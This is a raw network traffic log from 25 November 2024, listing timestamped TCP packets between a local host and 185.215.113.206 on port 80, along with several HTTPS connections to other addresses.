Nov 25, 2024 03:39:56.619740009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.619782925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.619858027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.619906902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.620647907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.620692015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.620738029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.620795965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.621530056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.621560097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.621586084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.621607065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.622390032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.622416019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.622436047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.622447968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.623265982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.623322964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.623368979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.623404026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.624155998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.624208927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.624286890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.624353886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.625036955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.625077963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.625092030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.625195980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.625946999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.626003027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.626038074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.626215935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.626786947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.626832008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.626852036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.626921892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.627636909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.627712011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.679101944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.679174900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.679228067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.679261923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.679436922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.679482937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.679554939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.679595947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.680347919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.680411100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.680445910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.680712938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.681222916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.681289911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.681329012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.681440115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.682097912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.682154894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.682197094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.682230949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.682995081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.683049917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.683057070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.683136940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.683921099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.683989048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.684024096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.684277058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.684756041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.684809923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.684845924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.684941053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.685632944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.685734034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.685775042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.686495066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.686553001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.686588049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.686635971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.727787018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.727845907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.727871895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.728180885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.728235006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.728293896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.728626966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.729064941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.729120970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.729177952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.729252100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.729954004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.730052948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.730104923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.730819941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.730998993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.731065035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.731699944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.731834888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.731882095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.732583046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.732642889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.732748985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.732800007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.733468056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.733531952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.733565092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.733613014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.734332085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.734390020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.734421968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.734461069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.735249043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.735301018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.735344887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.735384941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.736097097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.736166000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.736182928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.736392975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.737030029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.737037897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.737087011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.793507099 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.793816090 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.793833971 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.793849945 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.794748068 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.794831991 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.796184063 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.796253920 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.796669960 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.796767950 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.796973944 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.796989918 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.808819056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.808866978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.808911085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.809042931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.809215069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.809341908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.809390068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.810117006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.810197115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.810270071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.811013937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.811067104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.811086893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.811101913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.811899900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.811949015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.811990976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.812031984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.812783003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.812827110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.812853098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.812886953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.813666105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.813779116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.813785076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.813905954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.815196037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.815207005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.815253973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.815412998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.815449953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.815542936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.815578938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.816268921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.816325903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.816406965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.816467047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.817125082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:56.817178965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.829693079 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.829713106 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.829797029 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.829814911 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.830933094 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.830972910 CET	443	49826	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:56.831042051 CET	49826	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:56.837013960 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.837019920 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.841758013 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.842045069 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.842061996 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.843213081 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.843338013 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.843852043 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.843944073 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.885790110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:56.887131929 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.887212038 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.887393951 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:56.888737917 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:56.888760090 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:56.892209053 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.892215014 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:56.892235041 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:56.939788103 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:57.005234003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.189913034 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.190263033 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.190291882 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.191987991 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.192298889 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.193543911 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.193640947 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.229422092 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:57.229532003 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.229899883 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.229928017 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.230118990 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:57.230139017 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:57.231018066 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.231122017 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.231223106 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:57.231278896 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:57.231614113 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.231688023 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.233186960 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:57.233278990 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:57.241375923 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.241446972 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.284019947 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:57.284022093 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.284020901 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.284040928 CET	443	49833	23.57.90.134	192.168.2.8
Nov 25, 2024 03:39:57.284041882 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:57.330425978 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:57.330562115 CET	49833	443	192.168.2.8	23.57.90.134
Nov 25, 2024 03:39:57.345613956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.345691919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.345696926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.345729113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.345999956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.346040010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.346107960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.346218109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.346260071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.347023010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.347081900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.347084999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.347177029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.347678900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.347779036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.347800970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.348069906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.348545074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.348644018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.348675966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.348858118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.349436998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.349531889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.349554062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.349571943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.350317001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.350368023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.350400925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.350439072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.351258993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.351300955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.351492882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.351670980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.352077961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.352148056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.352175951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.352214098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.352971077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.353065968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.353091955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.353121042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.353828907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.353873014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.353916883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.354252100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.354808092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.354816914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.354851007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.354873896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.355588913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.355652094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.355736971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.355777025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.356467962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.356561899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.356610060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.357362986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.357449055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.357502937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.358227968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.358283997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.358316898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.358366013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.359133005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.359188080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.359217882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.359256029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.360263109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.360308886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.360361099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.360546112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.360874891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.360925913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.361051083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.361092091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.361752033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.361793995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.361851931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.361917973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.362662077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.362700939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.362859964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.362966061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.363564968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.363610029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.363703012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.363740921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.363751888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.364382982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.364429951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.364468098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.364675045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.365286112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.365330935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.365365982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.365483046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.366147995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.366205931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.366233110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.366277933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.367012978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.367062092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.367116928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.367151976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.367891073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.367938042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.368007898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.368165970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.368798971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.368844986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:57.368877888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:57.368978977 CET	49748	80	192.168.2.8	185.215.113.206
